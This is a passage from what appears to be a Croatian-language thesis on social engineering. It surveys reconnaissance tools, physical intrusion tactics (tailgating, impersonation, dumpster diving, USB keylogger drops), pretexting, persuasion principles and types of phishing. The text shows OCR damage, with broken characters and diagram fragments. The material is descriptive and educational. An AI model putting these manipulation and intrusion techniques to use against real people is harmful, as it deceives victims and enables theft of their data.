organizacijama, prilikom ¢ega zahtijevaju informacije korisnika. Napadi telefonskim putem
vrlo su uspjesni jer ne daju meti napada dovoljno vremena da razmisli o odgovoru, pri cemu
socijalni inZenjeri mogu pridobiti mete da udovolje nekim suludim zahtjevima ili podijele vrlo

osjetljive informacije, [19].

Network Mapper, skra¢eno Nmap, besplatni je programski alat otvorenog koda (engl.
Open source) razvijen s ciljem brzog skeniranja velikih mreza i revizije sigurnosti. Socijalni
inzenjeri upotrebom Nmap alata u moguénosti su utvrditi koji hostovi® su dostupni na mreZi,

koje usluge ti hostovi nude (naziv i inacicu aplikacije), koji operativni sustavi (i koje inacice)

3 Host - bilo koji uredaj povezan u ra¢unalnu mrezu koji koristenjem standardnih protokola moze ostvariti
komunikaciju s drugim sli¢nim uredajima. Moze raditi kao posluzitelj koji nudi informacije, usluge i programe
korisnicima ili drugim uredajima na mrezi.
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pokreéu sustav, kakva vrsta filtera, odnosno vatrozida“ je u upotrebi i desetke drugih
karakteristika, [23].

Traceroute, mrezni dijagnosticki alat, omogucuje stvarnovremeno pracenje puta koji paket
na Internet Protocol (IP) mrezi prolazi od izvora do odredista, izvjeStavajuci o IP adresama

svih usmjerivaca koje je pri tome prosao, [24].

Whois pretragom socijalni inzenjeri u moguénosti su prikupiti informacije poput adresa
elektroni¢ke poste, telefonskih brojeva i IP adresa trazenih meta te informacije o domenama.
Koristenjem Whois pretrage moguce je saznati detalje o podnositelju registracije i poduzecu
ovlaStenom za registriranje domene te informacije poput datuma isteka registracije i kontakt

podataka vlasnika mrezne stranice, [19].

Bettercap, napredan framework® razvijen je s ciljem pruzanja jednostavnog, cjelovitog
rjeSenja sa svim znacajkama koje mogu zatrebati prilikom skeniranja i napada na Wi-Fi i
Ethernet mreze, Bluetooth Low-Energy uredaje, bezi¢ne periferne komponente te Man-in-the-
Middle napade®, [25].

Deepmagic Information Tool, skra¢eno Dmitry, alat je koji omogucuje prikupljanje svih
dostupnih podataka s bilo kojeg hosta, poput poddomena, adresa elektronicke poste, otvorenih
portova’, posluziteljskih podataka, WHOIS pretrage i drugo, [26].

Upotrebom alata otvorenog koda imena Th3inspector moguce je dohvacéanje svih vrsta
informacija povezanih s mreznim stranicama. Th3inspector pruza podatke o stranici,
telefonskim brojevima, IP adresama HTTP posluZitelja i posluZzitelja e-poste te omoguéuje
izvrSavanje  WHOIS pretrazivanja 1 provjeravanje starosti imena domene, mapiranje

poddomena, zaobilazenje proxyja® i druge funkcionalnosti, [27].

4 Vatrozid (engl. Firewall) — mreZni sigurnosni uredaj koji nadzire dolazni i odlazni mreZni promet i odluéuje
hoce 1i dopustiti ili blokirati odredeni promet na temelju definiranog skupa sigurnosnih pravila.

5 Framework — platforma koja pruza osnovu na kojoj programeri softvera mogu graditi programe; moze
sadrZavati unaprijed definirane klase i funkcije koje se mogu Koristiti za obradu unosa, upravljanje hardverskim
uredajima i interakciju sa sistemskim softverom.

& Man-in-the-Middle — napad kod kojega se napadac postavlja izmedu dvije strane koje medusobno
komuniciraju i prenosi njihove poruke. Sudionici komunikacije vjeruju da komuniciraju izravno i sigurno, sto
napadacu omogucuje nesmetano nadgledanje i promjenu sadrzaja poruka.

" Port — virtualna to¢ka u kojoj mrezne veze po¢inju i zavrsavaju. Portovi se temelje na softveru, a njima
upravlja raunalni operativni sustav. Svaki port povezan je s odredenim postupkom ili uslugom.

8 Proxy — posrednicki posluzitelj; ra¢unalo koje stoji izmedu klijenta i glavnog posluZitelja kao posrednik.
Najcesce se koristi za posluzivanje web stranica.
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3.2.2. Netehni¢ke metode prikupljanja podataka

Netehnicke metode prikupljanja podataka isklju¢ivo su fizicke metode i ne mogu se
provoditi na daljinu. Ovim metodama zanemaruje se uporaba bilo kojih tehnoloskih sredstava,
a socijalni inzenjer mora 0sobno biti na mjestu dogadaja kako bi prikupio Zeljene podatke.
Proces prikupljanja informacija netehni¢kim metodama najc¢esce je dugotrajan i zamoran, ali
u velikoj veéini slucajeva pruza precizne podatke o meti napada. Ucinkovito prikupljanje

podataka zasniva se na raznim metodama i tehnikama razlicite razine sloZenosti.

Najjednostavnija metoda netehnickog prikupljanja podataka podrazumijeva gledanje
preko ramena ciljane osobe (engl. shoulder surfing). Socijalni inZenjeri ovom kriminalnom
praksom kradu osobne podatke gledaju¢i preko ramena osobe dok javno koristi prijenosno
racunalo, mobilni terminalni uredaj, bankomat, javni kiosk ili neki drugi elektronicki uredaj.
Kako bi prosli neopazeno, danasnji sofisticirani kriminalci Cesto promatraju izdaleka.
Prac¢enjem pokreta prstiju, upotrebom dalekozora, minijaturnih fotoaparata ili kamere na
vlastitom telefonu gledaju zaslon i tipkovnicu korisnika, pri ¢emu uspijevaju saznati lozinke i

druge povjerljive podatke kojima meta napada pristupa, [28].

Nakon identificiranja mete, socijalni inzenjer kroz promatranje svakodnevnih rutina zrtve
u mogucnosti je pronaéi Sansu za eksploataciju i planirati daljnje korake napada.
Promatranjem Zrtve napadac je u mogucnosti prikupiti odgovore na brojna pitanja, kao $to su
informacije o vremenu spavanja zrtve, njihovoj jutarnjoj rutini i putu kojim odlaze na posao,
jesu li poslovni objekti zasticeni videonadzorom te koriste li njihovi suradnici kljuceve,
RFID® Kkartice ili neke druge metode za ulazak u poslovnu zgradu. Vanjski uredaji poput
izvora napajanja ili klima uredaja otkrivaju tko je usluzna tvrtka, Sto socijalnom inZenjeru
moze biti od velikog znacaja za daljnje planiranje napada. Znajuci s kime i gdje se meta
napada druzi, kada odlazi s radnog mjesta i druge bitne informacije iz svakodnevnog Zzivota
zrtve, socijalni inZenjer u mogucnosti je zapoCeti razgovor s metom napada, izgraditi blizak

odnos i ostvariti zeljeni cilj, [14], [19].

Za razliku od jednostavnog, Cesto bezopasnog promatranja zrtve, metoda neovlastenog
upada i laznog predstavljanja (engl. intrusion and impersonation) mnogo je rizi¢niji pristup
prikupljanja informacija. Socijalni inzenjer neovlaStenim putem ostvaruje pristup ciljanom

objektu, pri ¢emu se predstavlja laznim identitetom. Cesti su slu¢ajevi predstavljanja u ulozi

® RFID (Radio-Frequency Identification) — bezi¢na i beskontaktna tehnologija koja koristi radio
frekvenciju za razmjenu informacija izmedu prijenosnih uredaja/memorija i host raéunala.
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zaposlenika, dostavlja¢a, izvodaca radova ili osoblja za popravak kvarova. Ponasanjem poput
ljudi u ¢ije ime se predstavljaju uspijevaju se uklopiti u okolinu, a metodama uvjeravanja
ostvaruju uspjesan prolazak pored ¢uvara i ulaze u Zeljene objekte. Potajnim prisluskivanjem,
ali i izravnim razgovorom s osobljem prikupljaju brojne informacije od interesa. Cesta metoda
je i ostavljanje USB® memorijskog modula s malicioznim sadrzajem na vidljivim mjestima, u
nadi da ée ga netko od zaposlenika uzeti, umetnuti u radunalo i time aktivirati keylogger:.
Vjernom interpretacijom uloge koju oponasaju i uvjeravanjem osoblja mogu¢ je i pristup

uredima visokopozicioniranih ljudi, [19].

Pojedinci, kao i velike organizacije, generiraju veliku koli¢inu otpadnog materijala.
Osjetljivi podaci poput fotografija, bankovnih izvoda, medicinskih kartona i tiskanih
zivotopisa sastavni su element otpada velikih odlagalista. Informacije poput povijerljivih
dokumenata, ispisa elektronicke poste, tehnickih zapisnika i izvjeS¢a 0 procjenama ranjivosti
nerijetko zavrSavaju u kontejnerima. Socijalni inzenjeri metodom kopanja po kontejnerima
(engl. dumpster diving) u mogucénosti su prikupiti brojne informacije klju¢ne za daljnje
provodenje istrage i potencijalnog napada. Podatke pohranjene na memorijskih diskovima
odbacenih racunala je relativno lagano oporaviti, a U mnogim slu¢ajevima dovoljno je samo
pokrenuti odbaceno raCunalo, zaobi¢i eventualnu sigurnosnu zastitu i ostvariti pristup
pohranjenim informacijama. Osim osobnih podataka poput imena, adresa, brojeva osiguranja,
kreditnih kartica, korisni¢kih imena i lozinki, ¢esto se pronalaze i audio i video zapisi, blogovi

te zapisi elektronicke poste, [19], [29].

U slucaju potrebe ulaska u objekte ograni¢enog pristupa, osigurane jakom sigurnosnom
kontrolom poput PIN'2-ova, pametnih Kartica ili biometrije, socijalni inZenjeri Gesto se sluze
metodom zvanom tailgaiting (takoder poznatom i pod nazivom piggybacking). Socijalni
inZenjeri laznim predstavljanjem iskoristavaju uljudnost ljudi ovlastenih za ulazak u zasti¢ene
objekte, predstavljajuéi se, primjerice, u ulozi dostavljaca, prilikom ¢ega mole ovlastenu
0sobu za propust u zasti¢eni objekt. Druga Cesto koristena taktika je kada socijalni inZenjer

zurno tr¢i kako bi ulovio vrata prije nego se zatvore, prilikom ¢ega ih osoba koja ih je netom

10 USB (Universal Serial Bus) — tehnolosko rjesenje za komunikaciju ra¢unala s vanjskim uredajima pri
¢emu se podaci razmjenjuju serijski relativno velikom brzinom.

11 Keylogger — racunalni program dizajniran za biljeZenje svakog unosa tipkovnicom.

12 PIN (Personal Identification Number) — osobni identifikacijski broj; niz brojki koje se koriste za provjeru
identiteta korisnika.
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prije otvorila instinktivno zadrZzava, pusta napadaca unutar osjetljivog dijela objekta i time

nesvjesno omogucuje daljnju eksploataciju, [19], [20].

3.3. Navodenje zrtve na zeljeno ponasanje

Elicitation, engleski termin za izmamljivanje, ili u kontekstu socijalnog inzenjeringa
navodenje zrtve na zeljeno ponasanje, moguce je definirati kao odredenu stimulaciju kojom se
ostvaruje odredeni skup ponaSanja. Ljude je generalno jednostavno natjerati da pricaju, a
najée$¢e nisu niti svjesni informacija koje dijele s napadacima. Izvlaenje podataka kroz
razgovor vrlo je ucinkovito, a mete napada najceS¢e ne znaju gdje dolazi do curenja
informacija. Ovu metodu tesko je otkriti, zbog Cega predstavlja mali rizik za socijalnog

inzenjera.

Informacije su kljuéne za uspjeSno provodenje socijalnog inZenjeringa, a njihovo
prikupljanje kroz razgovor vrlo je ucinkovito obzirom da veéina ljudi nastoji biti pristojna,
generalno ne zeli lagati i ljubazno reagira na pojedince koji izrazavaju brigu za njih. U
razgovoru se ljudi nastoje prikazati inteligentnima i informiranima, a na pohvale su ¢esto

komunikativniji i odaju vise informacija.

Socijalni inZenjeri taktikama poput izraZavanja zajedni¢kog interesa, iskoriStavanja ega
sugovornika te pomno odabranim pitanjima navode metu na poduzimanje odredene akcije,
bilo da se radi o jednostavnoj radnji poput odgovaranja na pitanja ili slozenoj poput

osiguravanja pristupa odredenom ograni¢enom podrudju, [14].

3.4. Lazno predstavljanje

Napad laznim predstavljanjem (engl. Pretexting) ¢in je predstavljanja sebe kao neke druge
0sobe s namjerom manipuliranja zrtve i ostvarenja Zeljenog cilja. Ovaj korak procesa
socijalnog inzenjeringa temelji se na kreiranju izmiSljenog scenarija uz pomo¢ kojega se
postize da ciljana zrtva otkrije osjetljive informacije ili udovolji trazenom zahtjevu. U
mnogim slucajevima napad laZznim predstavljanjem podrazumijeva viSe od samog laganja.
Odabir uloga kojima se napadaci lazno predstavljaju ovisi o potrebnoj razini privilegija za
uspjeSno zavaravanje pojedinca ili poduzeca. Socijalni inzenjeri Cesto Se predstavljaju u
ulogama koje osobno nisu nikada radili, a stvaranje potpuno novog identiteta podrazumijeva
upotrebu specifi¢nih naglasaka i gestikulacija, promjenu nac¢ina hoda i facijalnih ekspresija,

kao i stila odijevanja.
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Opseg napada podrazumijeva jednostavnije metode poput izravnog trazenja pomoci ili
informacija, do onih slozenijih poput predstavljanja u ulozi suradnika, tehnicke podrske,
djelatnika policije, banke, poreznih vlasti ili bilo koje druge znacajne pozicije. Psiholoskim
iskoriStavanjem ljudskih osobina kao Sto su ljubaznost, lakovjernost, usluznost, suosjecanje i
neznanje, socijalni inZenjeri u mogucnosti su prikupiti bitne informacije, natjerati metu

napada da udovolji trazenom zahtjevu i time ostvariti zeljeni cilj, [14], [15], [19], [30].

3.5. Zavaravanje

U knjizi ‘‘Information technology social engineering: An academic definition and study of
social engineering - analyzing the human firewall* autor N. J. Evans navodi kako je napad
socijalnim inZenjeringom uvijek psiholoski, a samo ponekad tehnicki, [31]. lako se od objave
navedene literature 2009. godine mnogo toga promijenilo i socijalni inZenjering se u vecini
sluc¢ajeva izvodi posredstvom tehnologija, temelj svakog napada primarno je psiholoske
naravi. Citav napad socijalnim inZenjeringom temelji se na zavaravanju Zrtve umnim
trikovima (engl. mind tricks), $to ovaj korak ¢ini sastavnim elementom drugih dijelova
napada. Posebno razradenim trikovima socijalni inzenjeri nastoje izmijeniti misaoni proces

zrtve | Kroz mehanizam zavaravanja ostvariti kontrolu nad njom, [19].

Obzirom na nacin razmisljanja, ljude je moguce klasificirati u tri grupe: na vizualne,
auditivne i kinesteticke, odnosno one koji najbolje uce gledanjem, slusanjem ili kroz pokrete i
taktilna osjetila. Razumijevajuci temeljne nacine razmisljanja ljudi, odnosno na koji nacin
najbrze i najlakSe usmjeravaju pozornost na nove i sloZzene obavijesti, obraduju ih i odrzavaju
steCeno znanje, socijalni inZzenjeri u mogucnosti su izazvati Zeljene osjecaje, usaditi ih u Zrtvu
i uéiniti da povjeruju kako je to zaista njihov istinski osjecaj, [32]. Takoder, poznavanjem
mikroekspresija vezanih uz temeljne bioloSke emocije, poput ljutnje, tuge, iznenadenja, srece,
straha, prezira i gadenja socijalni inZenjeri u moguénosti su analizirati zrtvu, izazvati potrebne

emocije i utvrditi trenutak varljivosti mete napada, [14].

Osim detekcije dominantnog osjetila zrtve i analize mikroekspresija, socijalni inzenjeri
zavaravanje umnim trikovima izvode pomnim odabirom rijeci i strukturiranjem recenica,
ugodnim tonom razgovora, gestikulacijama i metodama zastrasivanja kojima postizu zeljeni

odnos sa zrtvom.

3.6. Uvjeravanje
Iako izravno povezano s prethodno pojaSnjenim korakom — zavaravanjem, proces

uvjeravanja (engl. persuasion) predstavlja vrlo vazan dio ciklusa socijalnog inzenjeringa,
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zbog Cega ga je bitno zasebno izdvojiti. Uspjeh napada socijalnog inzenjera ovisi o
sposobnosti uvjeravanja mete napada da zadovolji zahtijevanu radnju. Dobro osmisljenim
postupkom napada¢ kroz postupak uvjeravanja utjee na odluke Zrtve, u mogucnosti je
natjerati ju da misli i djeluje prema vlastitim potrebama. Osim u izravnim, ciljanim napadima
socijalnim inzenjeringom, uvjeravanje se koristi 1 u svakodnevnom Zzivotu, primjerice od
strane politiCara i oglasivaca proizvoda kako bi se ljudima usadile odredene ideje i misli i
natjeralo ih se da rade zeljene radnje. Za uspjesno uvjeravanje zrtve i ostvarivanje utjecaja,
socijalni inzenjeri moraju imati dobro definirane ciljeve, privuéi paznju i izgraditi odnos sa
metom napada, biti fleksibilni u pristupu, svjesni okruzenja i u mogucnosti kontrolirati
vlastite emocije, [14], [17].

U znanstvenom ¢lanku iz 2015. godine, pod nazivom ,,Principles of Persuasion in Social
Engineering and Their Use in Phishing®, autori A. Ferreira, L. Coventry i G. Lenzini
sintetizirali su principe uvjeravanja. Proucavaju¢i odnose izmedu postojecih principa
utjecanja i prijevare te psiholoskih okidaca predlozili su pet principa uvjeravanja u kontekstu

socijalnog inZenjeringa, [33]:

e Autoritet — drustvo uci ljude da ne preispituju autoritet pa su uvjetovani da na njega
odgovore. Obic¢no slijede struénjaka i ¢ine puno za onoga koga smatraju autoritetom.

e Drustvena prihvaéenost — ljudi imaju tendenciju oponasati ono §to vecina Cini.

e Dopadanje, sli¢nost i obmana — ljudi rado slusaju i postuju onoga koga poznaju,

e Predanost, uzvrac¢anje i dosljednost — ljudi vise vjeruju u svoju odluku nakon §to se
javno obvezu na odredenu radnju, imaju tendenciju vjerovati onome $to drugi kazu i
nastoje izgledati dosljedno u onome $to rade.

e Odvracanje — ljudi se usredoto¢uju na jedno, pri cemu zanemaruju druge stvari koje se

mogu dogoditi a da to i ne primijete, sto moze utjecati na donosenje odluka.
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4. KLASIFIKACIJA METODA NAPADA | ALATA SOCIJALNOG
INZENJERINGA

Danas, u svijetu Siroke primjene pametnih terminalnih uredaja i nosive tehnologije,
sveprisutnih koncepata Interneta stvari (engl. Internet of Things; 10T) i Industrijskog interneta
stvari (engl. Industrial Internet of Things; 110T) te porastom utjecaja druStvenih mreza na
socijalne zivote ljude, napadi socijalnim inzenjeringom postali su najveéa kiberneticka
prijetnja. Danas aktualne tehnologije poput umjetne inteligencije i strojnog ucenja U
kombinaciji s novim oblicima prijetnji omogucuju provodenje inteligentnog, ciljanog i vrlo
u¢inkovitog napada socijalnog inZenjeringa. Dolaskom Big Data® tehnologije, kvaliteta
usluga, dostupnost podataka i produktivnost opcenito, znatno su porasli, a upravo ta velika
koli¢ina podataka doprinijela je porastu kibernetickog kriminala. Navedene tehnologije
stvorile su uvjete socijalnim inzenjerima da lako dodu do velikog broja zrtava i eksploatiraju

ih kroz vjerodostojne napade, [30], [34].

Iako se napadi socijalnog inzZenjeringa medusobno razlikuju, dijele zajednicki obrazac sa
slicnim fazama provedbe. Prethodno naveden i u tre¢em poglavlju rada objasnjen radni okvir
socijalnog inzenjeringa moze se sazeti u Cetiri faze, koje podrazumijevaju prikupljanje
podataka 0 meti napada, razvoj odnosa s metom, eksploataciju dostupnih informacija i
provedbu napada te prestanak eksploatacije bez tudeg opazanja. Odabir metode napada i alata
za njegovu provedbu uvjetovan je svrhom napada, razinom znanja socijalnog inZenjera,
dostupnim resursima i tezini eksploatacije zrtve. U nastavku rada biti ¢e detaljnije objasnjena

klasifikacija metoda napada i alata socijalnog inZenjeringa.

4.1. Metode napada socijalnog inzenjeringa

lako tradicionalno smatrani netehnickom kategorijom, napadi socijalnim inZenjeringom
danas se primarno provode posredstvom dostupnih tehnologija. Psiholoskim utjecanjem na
ljudski element, u kombinaciji s dostupnom tehnikom i tehnologijom, socijalni inZenjeri
vjesto zaobilaze implementirane sigurnosne mjere i provode uspjesne napade. Metode napada

su mnogobrojne, a raznolikost i opseg ograni¢eni su samo mastom i Kreativnos¢u napadaca,
[35].

13 Big Data — tehnologija koja sluZi za prikupljanje, obradu i analizu velike koli¢ine podataka.
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Dijagramom prikazanim na slici 2. predstavljen je pregled temeljne klasifikacije metoda
napada socijalnog inzenjeringa. Metode napada moguée je podijeliti prema nekoliko
parametara: prema pristupu na kojemu se napad zasniva, prema koriStenom mediju, odnosno

kanalu provedbe napada te prema vrsti interakcije kojom se napad odvija.

Socijalni

inZenjering

| | I | [ 1
( Fisieki ) (sm,-a.m) <Tehmaki) @ca,-a.no.:ehni@ ( f— ) (Neiz,ama>
()
(o) () (o) () (o) () (o)

Slika 2. Klasifikacija metoda napada socijalnog inzenjeringa
Izvor: [36]

Prema pristupu, metode napada socijalnog inzenjeringa dijele se na fizicke, u kojima
napadaci izvode neki oblik fizicke akcije za prikupljanje podataka; socijalne, kod kojih se
napadaci oslanjaju na psiholoske tehnike u manipulaciji zrtava; tehnicke, koje se provode
posredstvom programskih alata, Interneta i drugih tehnologija, te one najuspjesnije i po Zrtvu
najopasnije, socijalno-tehnicke napade, koji kombiniraju neke ili sva tri prethodno navedena

pristupa, [36].

Prema kanalu provedbe moguce ih je podijeliti na one fizicke, koji se odvijaju uzivo i na
licu mjesta te na napade koji se provode posredstvom elektronicke poste, instant messaging
servisa, glasovnom komunikacijom telefonskim ili VolP* putem te eksploatacijom platformi

drustvenih mreza, servisa za pohranu u oblaku 1 mreznih stranica.

14 VolP (Voice over Internet Protocol) — komunikacijska tehnologija koja omoguéava prijenos glasovne
komunikacije preko internetske mreze.
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Obzirom na vrstu interakcije, metode napada socijalnog inZenjeringa moguce je podijeliti
na izravne, koje podrazumijevaju direktnu interakciju socijalnog inzenjera i zrtve, najéesce
glasovnim putem, kroz fizicki kontakt ili kontakt o¢ima; te na neizravnu interakciju, u kojoj
napada¢ sa zrtvom ne komunicira izravno, ve¢ terminalnim uredajima prikuplja potrebne

podatke i vr$i napad, [37].

Ovisno o koristenoj literaturi, napadi socijalnim inZenjeringom mogu biti razli¢ito
klasificirani, no generalno podrazumijevaju iste metode. Danas poznatih metoda je mnogo, a
osim onih, u trecoj cjelini rada pojasnjenih, netehnic¢kih pristupa prikupljanju podataka poput
shoulder surfing, impersonation, dumpster diving i tailgaiting metoda te pretexting napada
laznim predstavljanjem koji se mogu sagledati kao samostalne metode napada, socijalni
inzenjering moze biti proveden koristenjem brojnih drugih pristupa, od kojih ¢e oni najbitniji

biti pojasnjeni u nastavku rada.

4.1.1. Napad kradom identiteta

Jedna od naj¢escih i1 najSire koriStenih metoda napada medu socijalnim inZenjerima su
napadi kradom identiteta (engl. phishing), socijalno-tehnicki napadi kojima zlonamjerni
pojedinci nastoje otkriti i pribaviti tajne i osjetljive podatke. Phishing je moguce definirati kao
oblik socijalnog inzenjeringa koji se temelji na upotrebi e-poste ili zlonamjernih web stranica,
ali i drugih kanala, za prikupljanje osobnih podataka od pojedinca ili tvrtke, predstavljanjem
kao pouzdani entitet ili organizacija, [38]. Phishing zapoc¢inje komunikacijskom metodom
posebno osmisljenom za hvatanje zrtve, pri ¢emu oblik komunikacije djeluje vjerodostojno,
kao da dolazi od legitimnog, sluzbenog posiljatelja. Namjera napadaca je da zrtva povjeruje U
dobivenu e-postu, SMS (engl. Short Message Service) poruku ili poziv, posjeti malicioznu
web stranicu i otkrije vrijedne podatke poput korisni¢kih imena i lozinki, brojeva bankovnih
raCuna i PIN kodova bankomata. Tako najc¢esce financijski usmjereni, phishing napadi ne
rezultiraju isklju¢ivo novCanim gubicima. Katkada su usmjereni i na naruSavanje
kibernetickog prostora zrtve, posredstvom malicioznog sadrzaja koji se lokalno pohranjuje,
[39], [40], [80].

Kradu identiteta socijalni inZenjeri provode raznim phishing napadima, a kao S$to je
prikazano na slici 3. razlikuju se prema metodologijama provedbe. Moguce ih je klasificirati
na, [41]:

e Napade obmanom — najcesc¢a vrsta phishing napada u kojem napadac koristi tehnike

socijalnog inzenjeringa u svrhu prijevare zrtve. lzvode se posredstvom raznih medija,
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ponajviSe putem e-poSte, laznim web stranicama, preko drustvenih mreza te
telefonskim pozivima i SMS porukama.

e Tehnicku prijevaru — ¢in nasamarivanja zrtve temeljen na tehnickom podmetanju
malicioznog koda ili sadrzaja Cijim preuzimanjem dolazi do otkrivanja osjetljivih
podataka Kkorisnika. Podrazumijeva URL i Man-In-The-Middle napade, DNS %°
phishing, phishing posredstvom web trazilica, napade umetanjem sadrzaja te napade

inficiranjem ciljanih rac¢unala zlonamjernim programima.

Krada identiteta
posredstvom
e-poste

LaZirana mrezna
stranica

obmanom Keylogger
Vishing/SMishing

Otmica sesija

Drustveni mediji

Web trojanci

Inficiranje raéunala
malverom

Napad kradom
identiteta

Napad
rekonfiguracijom
sustava

Krada identiteta

trovanjem DNS
priruéne memorije Izmjena Hosts
datoteke

Napad umetanjem

sadraja
Tehni¢ka
prijevara
Man-in-the-Middle

napad

Krada podataka

Krada identiteta
posredstvom web
traZilice

Krada identiteta
manipulacijom
URL-a

Slika 3. Klasifikacija phishing napada
Izvor: [41]

Krada identiteta posredstvom e-poSte (engl. e-mail phishing) danas je najcesca |
najpopularnija verzija phishing napada. Temelji se na laznoj, krivotvorenoj elektroni¢koj posti

nasumi¢no poslanoj tisu¢ama Zrtava od strane zlonamjernog izvora. Sadrzajem lazne e-poste

15 DNS (Domain Name System) — distribuirani hijerarhijski sustav Internet posluZitelja u kojemu se nalaze
informacije povezane s domenskim nazivima, odnosno informacije o povezanosti IP adresa i njihovih logickih
(simbolickih) imena.
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napada¢ se nastoji prikazati legitimnim, osigurati potrebnu vjerodostojnost i potaknuti zrtvu
na poduzimanje radnji koje dovode do otkrivanja osjetljivih podataka, [41]. SloZenija verzija
phishing napada naziva se spear phishing, a usmjerena je na odredene, konkretne pojedince ili
organizacije. Napadi su personalizirani, a taktikama poput oponasanja pravog posiljatelja
socijalni inzenjeri postizu percepciju legitimnosti. KoriStenjem javno dostupnih informacija
na, primjerice, drustvenim mrezama, napada¢i su u mogucnosti kreirati individualizirane
poruke, lazno se predstaviti i time pridobiti Zeljenu reakciju zrtve, [42]. Sofisticirana vrsta
spear phishing napada usmjerena na kradu identiteta visoko pozicioniranih ljudi naziva se
whaling. Takvi sloZeni phishing napadi usmjereni su na pojedince unutar organizacija za koje

se smatra da posjeduju neke od znacajnih, za tvrtku vaznih podataka, [39].

Poput whaling metode, Business E-mail Compromise (BEC) napad usmjeren je na visoko
pozicionirane ljude, ali umjesto izravne prijevare rukovoditelja organizacija namijenjen je
impersonaciji i predstavljanju u njihovo ime, [43]. BEC phishing napadi provode se s ciljem
ostvarenja pristupa elektronickoj posti, kalendaru i drugim osobnim informacijama Zrtve.
Pristupom osjetljivim podacima, socijalni inzenjeri u mogucnosti su ih iskoristavati na razne
nacine, primjerice slati i Citati povjerljive poruke, dogovarati lazne sastanke, a one postojece

otkazivati ili mijenjati im raspored, pristupati tajnim informacijama tvrtke i sli¢no, [44].

Lazirana mreZna stranica (engl. spoofed website) vrsta je phishing napada u kojemu
napada¢ Kkrivotvori web stranicu na nacin da izgleda legitimno, kao izvorna stranica.
Otvaranjem poveznice zlonamjernog napadaca dobivene e-postom ili nekim drugim kanalom,
naivni korisnik biva preusmjeren na laznu web adresu, a u slucaju daljnje interakcije s

krivotvorenom stranicom dolazi do otkrivanja povjerljivih korisnickih informacija, [41].

Vishing, termin proizasao od rijeci ,,voice* (glas engl.) i ,,phishing®, predstavlja pristup
socijalnom inZenjeringu koji se zasniva na glasovnoj komunikaciji. Temelji se na poticanju
zrtve da nazove odredeni broj i otkrije osjetljive informacije. Napredni vishing napadi mogu
se izvesti u cijelosti preko glasovne komunikacije iskoriStavanjem rjeSenja putem protokola
Voice over Internet Protocol (VolP) i usluga emitiranja, kojima se lako omogucuje laZiranje

identiteta pozivatelja, [38].

SMishing, termin nastao kombinacijom kratice ,,SMS* (engl. Short Message Service) i
rije¢i ,,phishing®, predstavlja verziju phishing napada koji se izvrSava posredstvom SMS
poruke. Tekstualne poruke mogu sadrzavati poveznice na web stranice, adrese elektronicke

poste i telefonske brojeve, ¢ijim otvaranjem automatski moze biti pokrenuta maliciozna
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radnja. Ova integracija funkcionalnosti tekstualnih poruka, web preglednika i e-poste

povecéava vjerojatnost da korisnici postanu zrtvama zlonamjernih aktivnosti, [38].

Krada identiteta manipulacijom URL-ova, jedinstvenih adresa mreznih stranica, danas je
najpopularnija tehnika socijalnih inzenjera. Metodama poput Bad Domain Names i Host
Name Obfuscation napadaci laziraju adrese u pokusaju da svoju malicioznu stranicu ucine
legitimnom. U vecini phishing napada cilj je da korisnik klikne na poveznicu koja Zrtvu
umjesto na odredi$ni posluzitelj povezuje na onaj maliciozni. Napad manipulacijom URL-a

izvodi se zamucivanjem stvarne veze na koju se korisnik namjerava povezati, [41].

Man-in-the-Middle (MITM) napad metoda je u kojoj se napadac¢ potajno postavlja izmedu
dvije strane koje medusobno komuniciraju te prenosi i potencijalno mijenja njihovu
korespondenciju. Sudionici komunikacije vjeruju da komuniciraju izravno i sigurno, $to
napadacu omoguéuje nesmetano nadgledanje i promjenu sadrzaja poruka, [45]. MITM napad
provodi se preusmjeravanjem korisnika na maliciozni posluzitelj koristenjem nekoliko
tehnika, poput ARP trovanja i trovanja DNS priru¢ne memorije, trojanskih keylogger-a i

zamucivanja URL-a, [46].

Pharming, napad poznat i kao DNS phishing, predstavlja svaki oblik krade identiteta koji
ometa DNS sustav, a prilikom koje korisnik tehnikom trovanja DNS priru¢ne memorije (engl.
DNS cache poisoning) pogresnim informacijama biva preusmjeren na malicioznu web
stranicu. Kompromitiranjem DNS posluzitelja izvorne IP adrese se mijenjaju, Sto rezultira
preusmjeravanjem korisnika na lazno mjesto. Zlonamjerni korisnici mogu preuzeti potpunu
kontrolu nad DNS posluziteljem, zbog ¢ega korisnik moze postati zrtvom pharming napada

¢ak i prilikom posjecivanja legitimne poveznice, [46].

Phishing napadi posredstvom web trazilice (engl. search engine phishing), za razliku od
mnogih metoda, nisu usmjereni na pojedince, ve¢ ciljaju veée skupine korisnika. Napad se
temelji na kreiranju laznih mreznih stranica s nevjerojatnim ponudama i jeftinim proizvodima
koji privlace paznju naivnih korisnika. Search Engine Optimization’ (SEQ) procesom
stranice se legitimno indeksiraju, sto omogucuje njihovo pojavljivanje medu rezultatima

pretrage i tesko ih je razlikovati od ostalih stranica. lako su takve mrezne stranice lazne,

16 ARP (Address Resolution Protocol) — komunikacijski protokol kojim se dobiva fizi¢ka adresa na
lokalnoj mrezi iz poznate mrezne adrese.

17 Search Engine Optimization (SEO) — proces optimiziranja web stranice i sadrzaja na njoj fokusiran na
povecanje vidljivosti u organskim rezultatima pretraga na trazilicama.
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proces pretrage moze biti legitiman, zbog Cega su napadi vrlo uspjesni u kradi osobnih
podataka, [47], [48].

Osim ve¢ navedenih, Cesti su i napadi umetanjem sadrzaja (engl. content-injection). Ova
vrsta phishing napada podrazumijeva umetanje laznog sadrzaja na legitimne web stranice.
Iskori$tavanjem sigurnosnih ranjivosti sustava, zlonamjerni korisnici u mogucnosti su
kompromitirati web posluzitelj. Provedba ove vrste napada ¢esto se zasniva na umetanju
Structured Query Language’® (SQL) koda, koji omoguéuje eksploataciju baze podataka web
stranice, te Cross-Site Scripting (XSS) napadima, prilikom kojih napada¢ umece maliciozne
skripte u postojee mrezne stranice. Sadrzaj umetnut u legitimnu mreznu stranicu moze
korisnika preusmjeriti na lazna odredista, navodec¢i ga pri tome na otkrivanje osjetljivih

podataka ili preuzimanje malicioznog softvera, [46].

Socijalnim inzenjeringom, ili tehni¢kom eksploatacijom ranjivosti sustava, zlonamjerni
napadaci navode zrtvu na preuzimanje i pokretanje malicioznog softvera. Phishing napadi
temeljeni na inficiranju racunala zlonamjernim programima provode se na razne nacine |
mogu biti usmjereni na odredenog pojedinca ili vece skupine, a rezultiraju gubitkom
osjetljivih informacija, ostvarenjem udaljenog pristupa napadaca sustavima, napadima
uskracéivanja usluga (engl. Denial of Service; DoS) te drugim ozbiljnim posljedicama. Ovakvi
